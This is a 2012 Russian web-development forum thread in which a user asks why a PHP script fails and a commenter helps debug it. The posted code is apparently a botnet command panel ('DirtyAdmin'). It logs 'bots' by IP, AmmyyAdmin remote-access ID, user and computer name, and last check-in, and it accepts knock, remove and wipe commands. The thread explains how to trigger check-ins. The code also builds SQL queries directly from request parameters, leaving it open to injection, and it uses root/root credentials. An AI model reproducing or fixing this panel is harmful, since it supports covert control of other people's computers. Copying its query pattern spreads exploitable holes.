VDS за 300р от нашего партнера SpaceWeb
[124]
28 мая 2012, 15:07

Невыполняется простейший скрипт php

Имеются файлы index.php

<?php
include 'settings.php';
mysql_connect($db_host, $db_user, $db_pass) or die(mysql_error());
mysql_select_db($db_name) or die(mysql_error());
?>
<html>
<head>
<title> -== DirtyAdmin == Control Panel ==-</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body bgcolor="white" text="black" link="DarkGreen">
<table bordercolordark="#3300FF" bordercolorlight="#3366FF" border="4" align=center><thead>
<tr><th>IP</th><th>AmmyyAdmin ID</th><th>User name</th><th>Computer name</th><th>Register date</th><th>Last knock date</th>
<th>Status</th>
</tr></thead><tbody>
<?php
$r=mysql_query("SELECT * FROM `bots`");
while ($row=mysql_fetch_array($r, MYSQL_ASSOC)) {
$rgdate=date("d.m.Y G:i", $row['rgdate']);
$rqdate=date("d.m.Y G:i", $row['rqdate']);
$status=time()-$row['rqdate'];
if ((time()-$row['rqdate'])<300) $status="online"; else $status="offline";
		echo("<tr><td>".$row['ip']."</td><td>".$row['id']."</td><td>".$row['usrnm']."</td><td>".$row['cmpnm']."</td><td>$rgdate</td><td>$rqdate</td><td>$status</td>");}
//		date("d.m.Y G:i", $row['rgdate'])
// 	date("d.m.Y G:i", $row['rqdate'])
?>
</tbody></table>
</body>
</html>

setting.php

<?php
$db_host="localhost";
$db_name="cp";
$db_user="root";
$db_pass="root";
?>

script.php

<?php
include "settings.php";
if (empty($_GET['id'])||empty($_GET['cmd'])){
	exit();} 
else {
	$id=$_GET['id'];
	$cmd=$_GET['cmd'];}
$conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $conn);
echo($cmd);
if ($cmd=='knock'){ 
	if (isset($_GET['un'])) $un=urldecode($_GET['un']); else $un="";
	if (isset($_GET['cn'])) $cn=urldecode($_GET['cn']); else $cn="";
	$ip=$_SERVER['REMOTE_ADDR'];
	$curtime=time();
	$sql_q="INSERT INTO `bots` (ip, usrnm, cmpnm, id, rqdate, rgdate) VALUES ('$ip','$un','$cn','$id',$curtime,$curtime) ON DUPLICATE KEY UPDATE rqdate=$curtime, id='$id', cmpnm='$cn', usrnm='$un'";
	echo($sql_q);
	mysql_query($sql_q);
} elseif ($cmd=='rem'){
	$sql_q="DELETE FROM `bots` WHERE (id='$id')";
	mysql_query($sql_q);
} elseif ($cmd=='clrbase'){
	$sql_q="TRUNCATE TABLE `bots`";
	echo($sql_q);
	mysql_query($sql_q);
}
?>

И база данных db_cp.sql, предварительно установленная через импорт

CREATE TABLE IF NOT EXISTS `bots` (
  `id` int(11) NOT NULL,
  `ip` varchar(25) DEFAULT NULL,
  `usrnm` varchar(145) DEFAULT NULL,
  `cmpnm` varchar(145) DEFAULT NULL,
  `rqdate` int(11) DEFAULT NULL,
  `rgdate` int(11) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

Алгоритм работы простой, при выполнении скрипта, идёт подключение к базе, данные заносятся в таблицу и выводятся при запросе на localhost/index.php. Так вот проблема в том что данные не приходят. В чём может быть проблема? Атрибут файла script.php 777.

Комментарии (6)
benzin 28.05.2012 15:16

Данные в базу попадают? Сообщения об ошибках есть какие-нибудь?
+3
benzin 28.05.2012 16:44

Я проверил и у меня всё нормально работает, данные в таблицу добавляются, и на главной отображаются.
0
olly 28.05.2012 17:17

Вроде нет, как проверить незнаю, сообщений об ошибках нет, уже на 3 хостингах проверил - неработает, при переходе на www.сайт.ru/script.php тупо белая страница, пробывал изменять пароль в конфиге на неправильный одно и тоже, ни каких ошибок, как по мне скрипт тупо невыполняется или недостигает базы. Ты на локальном хостинге проверял? Скинь свои файлы настроек (без паролей естественно).
+3
olly 28.05.2012 17:19

Может проблема именно в бесплатных хостингах, может какието ограничения?
+3
olly 28.05.2012 17:29

Вот ограничения одного из хостингов

$cfg['Servers'][$i]['pmadb'] ...	Не готово [ Документация ]
$cfg['Servers'][$i]['relation'] ...	Не готово [ Документация ]
Основные возможности связей: Недоступно

$cfg['Servers'][$i]['table_info'] ...	Не готово [ Документация ]
Показать возможности: Недоступно

$cfg['Servers'][$i]['table_coords'] ...	Не готово [ Документация ]
$cfg['Servers'][$i]['pdf_pages'] ...	Не готово [ Документация ]
Создание PDF-схемы: Недоступно

$cfg['Servers'][$i]['column_info'] ...	Не готово [ Документация ]
Отображать комментарии столбцов: Недоступно
Преобразование: Недоступно

$cfg['Servers'][$i]['bookmarktable'] ...	Не готово [ Документация ]
Созданные закладки: Недоступно

$cfg['Servers'][$i]['history'] ...	Не готово [ Документация ]
История SQL-запросов: Недоступно

$cfg['Servers'][$i]['designer_coords'] ...	Не готово [ Документация ]
Дизайнер: Недоступно

$cfg['Servers'][$i]['tracking'] ...	Не готово [ Документация ]
Слежение: Недоступно

0
benzin 28.05.2012 21:32

Так если обращаться к www.сайт.ru/script.php ничего и не будет.

Записать что то в базу нужно ещё параметры вводить:
www.сайт.ru/script.php?id=1&cmd=knock

Зачем ID в вашем скрипте я не знаю.
+1

Добавить комментарий

Войдите, чтобы написать о чем-нибудь...
Вход Регистрация
Web.onRails
Здесь вы можете спросить или написать обо всём, что касается Веб-разработки.
написать о чем-нибудь...
Метки:
Лучшее
[52]
16 Окт 2011, 15:38
Вывести все элементы POST
[просмотров 13500]
[74]
31 мая 2011, 11:48
Python проверка существования переменной
[просмотров 9248]
[4]
10 Окт 2018, 15:33
Как запретить просмотр сайта по IP?
[просмотров 8841]
[100]
19 Дек 2014, 16:16
User-agent для Internet Explorer 11
[просмотров 8206]
[124]
21 Июл 2011, 14:04
Python Imaging Library (PIL)
[просмотров 6825]
[58]
29 мая 2012, 12:08
Узнать версию PHP из командной строки
[просмотров 4946]
[315]
16 Июл 2011, 20:03
Python работа с MySQL
[просмотров 4911]

Вести с Хабра